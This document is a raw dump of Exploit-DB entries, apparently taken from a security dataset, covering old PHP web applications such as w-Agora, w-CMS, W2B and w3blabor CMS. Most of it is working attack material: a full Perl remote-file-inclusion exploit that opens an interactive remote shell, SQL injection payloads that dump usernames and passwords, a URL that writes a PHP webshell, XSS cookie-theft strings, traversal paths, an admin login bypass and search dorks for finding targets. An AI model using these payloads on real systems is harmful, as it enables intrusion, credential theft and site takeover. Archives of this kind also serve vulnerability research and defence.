deardaniel/secdata-raw huggingface dataset:
Exploit-DB #1945
Description: w-Agora 4.2.0 - 'inc_dir' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-06-22
Author: the_day

Exploit:
#!/usr/bin/perl
##
# W-Agora <= 4.2.0 (inc_dir)  Remote File Inclusion Exploit
# Bug Found & code By dedi.dwianto aka the_day
#
# base on advisory at http://advisories.echo.or.id/adv/adv34-theday-2006.txt
#
#
##
# www.echo.or.id (c) 2006
#
##
# usage:
# perl wagora.pl <target> <cmd shell location> <cmd shell variable>
#
# perl wagora.pl http://target.com/w-agora/ http://target.com/cmd.txt cmd
#
# cmd shell example: <?passthru($_GET[cmd]);?>
#
# cmd shell variable: ($_GET[cmd]);
##
# #
#greetz:echo|staff(y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,anonymous),kaiten,an0maly,SinChan,sakitjiwa,rizal,etc
#
# Contact:  dedi.dwianto [at] pacomnet.com www.echo.or.id #e-c-h-o @irc.dal.net
##

use LWP::UserAgent;

$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];

if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv){usage()}

head();

while()
{
      print "[shell] \$";
while(<STDIN>)
      {
              $cmd=$_;
              chomp($cmd);

$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET =>$Path.' forgot_password.php?inc_dir='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "\nCould Not connect\n";

$res = $xpl->request($req);
$return = $res->content;
$return =~ tr/[\n]/[ê]/;

if (!$cmd) {print "\nPlease Enter a Command\n\n"; $return ="";}

elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot execute a blank command in <b>/)
      {print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";exit}
elsif ($return =~/^<br.\/>.<b>Fatal.error/) {print "\nInvalid Command or No Return\n\n"}

if($return =~ /(.*)/)
{
      $finreturn = $1;
      $finreturn=~ tr/[ê]/[\n]/;
      print "\r\n$finreturn\n\r";
      last;
}

else {print "[shell] \$";}}}last;

sub head()
 {
 print "\n============================================================================\r\n";
 print " *W-Agora <= 4.2.0 (inc_dir)  Remote File Inclusion Exploit*\r\n";
 print "============================================================================\r\n";
 }
sub usage()
 {
 head();
 print " Usage: perl wagora.pl <target> <cmd shell location> <cmd shell variable>\r\n\n";
 print " <Site> - Full path to w-agora ex: http://www.site.com/w-agora/ \r\n";
 print " <cmd shell> - Path to cmd Shell e.g http://www.your-site.com/cmd.txt \r\n";
 print " <cmd variable> - Command variable used in php shell \r\n";
 print "============================================================================\r\n";
 print "                   Bug Found by dedi.dwianto aka the_day \r\n";
 print "                    www.echo.or.id #e-c-h-o irc.dal.net \r\n";
 print "============================================================================\r\n";
 exit();
 }

# milw0rm.com [2006-06-22]
Exploit-DB #4817
Description: w-Agora 4.2.1 - 'cat' SQL Injection
Type: webapps
Platform: php
Date: 2007-12-30
Author: IHTeam

Exploit:
#########################################################################################
#
#         [W-Agora <= 4.2.1]
#
# Class:     SQL Injection  # Found:     30/12/2007 # Remote:    Yes  # Site:      http://w-agora.net
# Download:  http://sourceforge.net/project/showfiles.php?group_id=3413
#   #########################################################################################

        Exploit :
===================================================================================================================================================================================================================
http://site.com/[w-agora_path]/index.php?site=[site_name]&cat=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,concat(userid,0x3a,password),24/**/FROM/**/agora_users/*
===================================================================================================================================================================================================================


        Thanks To:
=========================
All ihteam.net members;
=========================

DORK: allinurl:"index.php?site=" "W-Agora"

#ihteam.net - Inclusion Hunter Team 

# milw0rm.com [2007-12-30]
Exploit-DB #29766
Description: W-Agora 4.2.1 - 'change_password.php?userid' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-03-20
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/23057/info
  
w-Agora is prone to multiple input-validation vulnerabilities, including possible SQL-injection issues and multiple cross-site scripting issues, because it fails to sufficiently sanitize user-supplied data.
  
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
  
w-Agora 4.2.1 is vulnerable. 

http://www.example.com/w-agora/change_password.php?newpasswd1=1&newpasswd2=1&[CREDENTIAL_REDACTED]=hello&userid='"><script>alert(documen t.cookie)</script>
Exploit-DB #29764
Description: W-Agora 4.2.1 - 'profile.php?showuser' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-03-20
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/23057/info

w-Agora is prone to multiple input-validation vulnerabilities, including possible SQL-injection issues and multiple cross-site scripting issues, because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

w-Agora 4.2.1 is vulnerable. 

http://www.example.com/w-agora/profile.php?site=hello&showuser='"><script>alert(document.cookie)</script>
Exploit-DB #34905
Description: W-Agora 4.2.1 - 'search.php3?bn' Traversal Local File Inclusion
Type: webapps
Platform: php
Date: 2010-10-22
Author: MustLive

Exploit:
source: https://www.securityfocus.com/bid/44370/info

w-Agora is prone to a local file-include vulnerability and a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit the local file-include vulnerability using directory-traversal strings to view and execute local files within the context of the webserver process. Information harvested may aid in further attacks.

The attacker may leverage the cross-site scripting issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

w-Agora 4.2.1 and prior are vulnerable. 

http://www.example.com/news/search.php3?bn=..\1 http://www.example.com/news/search.php3?bn=..\1
Exploit-DB #34906
Description: W-Agora 4.2.1 - 'search.php?bn' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-10-22
Author: MustLive

Exploit:
source: https://www.securityfocus.com/bid/44370/info
 
w-Agora is prone to a local file-include vulnerability and a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.
 
An attacker can exploit the local file-include vulnerability using directory-traversal strings to view and execute local files within the context of the webserver process. Information harvested may aid in further attacks.
 
The attacker may leverage the cross-site scripting issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
 
w-Agora 4.2.1 and prior are vulnerable. 

http://www.example.com/news/search.php3?bn=[xss]
Exploit-DB #29765
Description: W-Agora 4.2.1 - 'search.php?search_user' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-03-20
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/23057/info
 
w-Agora is prone to multiple input-validation vulnerabilities, including possible SQL-injection issues and multiple cross-site scripting issues, because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
 
w-Agora 4.2.1 is vulnerable. 

http://www.example.com/w-agora/search.php?bn=hello_hello&gosearch=1&pattern=1&search_date=0&search_fields[body]=1&search_fields[ subject]=1&search_forum=hello_hello&search_mode=0&search_user='"><script>alert(document.cookie)</script>
Exploit-DB #27603
Description: w-CMS 2.0.1 - Remote Code Execution
Type: webapps
Platform: php
Date: 2013-08-15
Author: ICheer_No0M

Exploit:
Exploit Title: w-CMS 2.0.1 Remote Code Execution Vulnerability
Google Dork: intext:"Powered by w-CMS"
Date: 15/08/2013
Exploit Author: ICheer_No0M - http://icheernoom.blogspot.com/
Vendor Homepage: http://w-cms.org/
Software Link: -
Version: 2.0.1
Tested on: Windows 7 + PHP 5.2.6


---> Vuln Code : /userFunctions.php

   
  6. switch($_REQUEST['udef']) // user defined function
	     ...
 11. case 'activity': procActivity(); // <-- call procActivity Function
	     ...
254. function procActivity()
255. {
256. 	$type    = $_REQUEST['type']; // <-- type
257. 	$content = $_REQUEST['content']; // <-- content
258. 	$content = preg_replace("/\|/","\0xff ",$content)."\n";
259. 	$data = explode("\n",@file_get_contents("./public/$type")); 
260. 	$file = @fopen("./public/$type", "w"); // <-- filename = $type
261. 	if($file);
262. 	{
263. 		fwrite($file, $content); // <-- fwrite to write $content into $filename
264.		for($ix=0;$ix<25;$ix++)
265.		{
266.			fwrite($file,$data[$ix]."\n");
267.		}
268.		fclose($file);
269. 	}
    
---> Exploit/Proof of Concept (PoC)
 
http://localhost/wcms/userFunctions.php?udef=activity&type=shell.php&content=<?php system($_GET['cmd']); ?>
 
Find your shell on /public/shell.php
Exploit-DB #18348
Description: w-CMS 2.01 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2012-01-10
Author: th3.g4m3_0v3r

Exploit:
# Exploit Title: W-Cms Multiple Vulnerability
# Date: 2012-01-09
# Author: th3.g4m3_0v3r
# Site:http://w-cms.info/
# Software Link: http://code.google.com/p/wcms/
# Dork: intext:"Powered by w-CMS"
# Version : [2.01]
# Tested on: Window 7
# Yogesh Kashyap, shubneet goel, w4rl0ck.d0wn, Chip, VzAcnY, Razzy, Sayan, Jaggi Panu, Darkgt
# www.h4ck3r.in, www.root-team.com, www.hackingmind.com, www.hackingcrackingtricks.in

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
www.h4ck3r.in            www.root-team.com             www.hackingmind.com
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

W-CMS cross site scripting
_______________

Vulnerable Link __________\/_____________________
_______________

http://localhost/index.php?bid=1&COMMENT=1 "XSS"
http://localhost/?p=3"XSS"
http://localhost/?bid=5&p=1"XSS"


http://localhost/?p=3<FORM action="Default.asp?PageId=-1" 
method=POST id=searchFORMname=searchFORM
  style="margin:0;padding:0"><INPUT type="hidden" value="" 
name="txtSEARCH"></FORM>

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
directory traversal attacks

This script is possibly vulnerable to directory traversal attacks

http://localhost/wcms-2.01_2/?p=../../../../../../../../../../windows/win.ini
http://localhost/wcms-2.01_2/?p=../../../../../phpMyAdmin/db_create.php


++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Greetz To : 1337day.com ~ exploit-db.com ~ hackforums.net
Exploit-DB #5958
Description: W1L3D4 philboard 1.2 - Blind SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-06-27
Author: Bl@ckbe@rD

Exploit:
> [+] Script Name     : philboard v 1.14 Multiple Remote Exploits

> |+| Team            : InjEct0r5

> [+] Author          : Bl@ckbe@rD ('Tunisian TerrorisT') ;

> [+] Contact         : blackbeard-sql[A.T]hotmail{.}fr ;

> [+] Dork            : Powered by v1.14 powered by philboard v1.14

> --//-->

> [+] Expl0iT :

> Remote SQL Injection :

> __--> http://www.dork.cc/[ScriptPath]/forum.asp?forumid=[SQL]

> Blind Way  : IIF((select%20mid(last(username),1,1)%20from%20(select%20top%2010%20username%20from%20users))='a',0,'Bingo')%00

> Remote XSS Exploit :

> __--> http://www.dork.co.il/[Script Path]/search.asp?searchterms=[XSS]

[XSS] --> <script>alert(document.cookie)</script>

# milw0rm.com [2008-06-27]
Exploit-DB #31637
Description: W2B Dating Club - 'browse.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-04-11
Author: The-0utl4w

Exploit:
source: https://www.securityfocus.com/bid/28737/info

W2B Dating Club is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

This issue affects unknown versions of Dating Club; we will update this BID when more details become available.

http://www.example.com/[path]/browse.php?mode=browsebyCat&_gender=0&age_from=15&age_to=-4214/**/union/**/select/**/1,user_name,password,4,5,6,7,8/**/from/**/users/*&country=&state=&field=body
Exploit-DB #31654
Description: W2B Online Banking - 'ilang' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-04-15
Author: THuM4N

Exploit:
source: https://www.securityfocus.com/bid/28796/info

W2B Online Banking is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue can allow an attacker to compromise the application and the underlying system; other attacks are also possible. 

http://www.example.com/[path]/index.php?ilang=http://www.example2.com/c99.txt
Exploit-DB #27710
Description: W2B Online Banking - 'SID' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-04-20
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/17626/info

W2B Online Banking is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com//?ilang=eng&SID=&[XSS]
Exploit-DB #31636
Description: W2B PHPHotResources - 'cat.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-04-11
Author: The-0utl4w

Exploit:
source: https://www.securityfocus.com/bid/28736/info

W2B phpHotResources is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

This issue affects unknown versions of phpHotResources; we will update this BID when more details become available.

http://www.example.com/[path]/cat.php?lang=4&kind=-4214+union+select+1,user_name,password,4,5,6,7,8,9+from+users/*
Exploit-DB #8439
Description: W2B Restaurant 1.2 - 'conf.inc' Configuration File Disclosure
Type: webapps
Platform: php
Date: 2009-04-15
Author: InjEctOr5

Exploit:
                          ||          ||   | ||        
                   o_,_7 _||  . _o_7 _|| 4_|_||  o_w_, 
                  ( :   /    (_)    /           (   .  
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|     _                   __           __       __          ______     |
|   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
|  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
|  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
|     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
|      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
|       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
|                  \ \____/ >> Kings of injection                      |
|                   \/___/                                             |
|                                                                      |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|


<<!>> Found by  :  Cyb3r-1sT

<<!>> C0ntact : cyb3r-1st [at] hotmail.com 
                   
<<!>> Groups : InjEctOr5 T3am 

=======================================================
+++++++++++++++++++ Script information+++++++++++++++++
=======================================================

<<->> script   :: W2B Restaurant version 1.2 

<<->> demo site :: www.w2b.ru/demo/W2B_Restaurant/
=======================================================
+++++++++++++++++++++++ Exploit +++++++++++++++++++++++
=======================================================

<<->> Exploit :: Remote Config File Disclosure
 
                >>> http://www.cyb3r.1st/ [path] /conf/conf.inc

=======================================================
++++++++++++++++++++++ Greetz +++++++++++++++++++++++++
=======================================================

<<->> All freinds , all muslims , [ www.tryag.com ] , [ www.7rs.org ] , [ sec-code.com ] , hackteach, and all arabic sites

<<->> special greetz to His0k4 >> ( translate this if u can essa7 emba7 emboo ) if u can i will translate ur she3ar

# milw0rm.com [2009-04-15]
Exploit-DB #39950
Description: w2wiki - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2016-06-15
Author: HaHwul

Exploit:
# Exploit Title: w2wiki - Multiple XSS(Stored/Reflected)
# Date: 2016-06-14
# Exploit Author: HaHwul
# Exploit Author Blog: www.hahwul.com
# Vendor Homepage: https://github.com/panicsteve/w2wiki , http://groups.google.com/group/w2wiki
# Software Link: https://github.com/panicsteve/w2wiki/archive/master.zip
# Tested on: Debian [wheezy]

### Vulnerability 1 : Stored XSS
POST /vul_test/w2wiki/index.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:44.0) Gecko/20100101 Firefox/44.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/vul_test/w2wiki/index.php?action=new
Cookie: PHPSESSID=3oecem8o5c8975dcufbb0moqn5; W2=dgf6v5tn2ea8uitvk98m2tfjl7
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 82

page=xss&newText=afsd%3Cimg+src%3D%22h%22+onerror%3Dalert%2845%29%3Eaa&action=save

# Vulnerability influence can be found in the wiki. -> script in created page
================================================================================================

### Vulnerability 2 : Reflected XSS
edit page
http://127.0.0.1/vul_test/w2wiki/index.php?action=edit&page="><img src="z" onerror=alert(45)>

search page
http://127.0.0.1/vul_test/w2wiki/index.php?action=search&q="><img src="z" onerror=alert(45)>
Exploit-DB #32733
Description: w3bcms - '/admin/index.php' SQL Injection
Type: webapps
Platform: php
Date: 2009-01-15
Author: Pouya_Server

Exploit:
source: https://www.securityfocus.com/bid/33310/info

The 'w3bcms' application is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/[Path]/index.php?seite=20%2Egaestebuch&action=[SQL]&id=1
Exploit-DB #7640
Description: w3blabor CMS 3.3.0 - Authentication Bypass
Type: webapps
Platform: php
Date: 2009-01-01
Author: DNX

Exploit:
                          \#'#/
                          (-.-)
   ------------------oOO---(_)---OOo-----------------
   |          __             __                     |
   |    _____/ /_____ ______/ /_  __  ______ ______ |
   |   / ___/ __/ __ `/ ___/ __ \/ / / / __ `/ ___/ |
   |  (__  ) /_/ /_/ / /  / /_/ / /_/ / /_/ (__  )  |
   | /____/\__/\__,_/_/  /_.___/\__,_/\__, /____/   |
   | Security Research Division      /____/ 2oo8    |
   --------------------------------------------------
   |   w3blabor CMS <= v3.3.0 Admin Login Bypass    |
   |       (requires magic_quotes_gpc = Off)        |
   --------------------------------------------------
[!] Discovered.: DNX
[!] Vendor.....: http://www.w3blaborcms.de
[!] Detected...: 20.12.2008
[!] Reported...: 20.12.2008
[!] Response...: 21.12.2008

[!] Background.: Sicher! Schnell! Einfach!
                 Das CMS wurde durch diverse Abfragen und Konfigurationen gegen Hackangriffe
                 abgesichert. Auch arbeitet es sehr stabil und kommuniziert schnell mit der
                 angebundenen Datenbank. Die Verwaltung gestaltet sich als besonders einfach im
                 Gegensatz zu vielen anderen Content Management Systemen - Und genau das macht
                 es zu etwas Besonderem!

[!] Bug........: $_POST['benutzername'] & $_POST['passwort'] in admin/index.php near line 93

                  93: if (isset($_GET['action']) && $_GET['action'] == "login" && $_POST['benutzername'] != "" && $_POST['passwort'] != "") {
                  94:
                  95:	$check = mysql_fetch_assoc(mysql_query("SELECT * FROM admin WHERE benutzername='".$_POST['benutzername']."'"));
                  96:
                  97:	if ($check['benutzername'] == "") {
                  98:
                  99:		$_SESSION['login'] = false;
                 100:		header("Location: index.php?fehler=error001");
                 101:		exit;
                 102:
                 103:	} else {
                 104:
                 105:		$md5pw = md5($_POST['passwort']);
                 106:
                 107:		$check = mysql_fetch_assoc(mysql_query("SELECT * FROM admin WHERE benutzername='".$_POST['benutzername']."' AND passwort='".$md5pw."'"));

[!] PoC........: To bypass the admin login:

                 Username: x' or 1=1/*
                 Password: not empty

[!] Solution...: upgrade to version 3.4.0

# milw0rm.com [2009-01-01]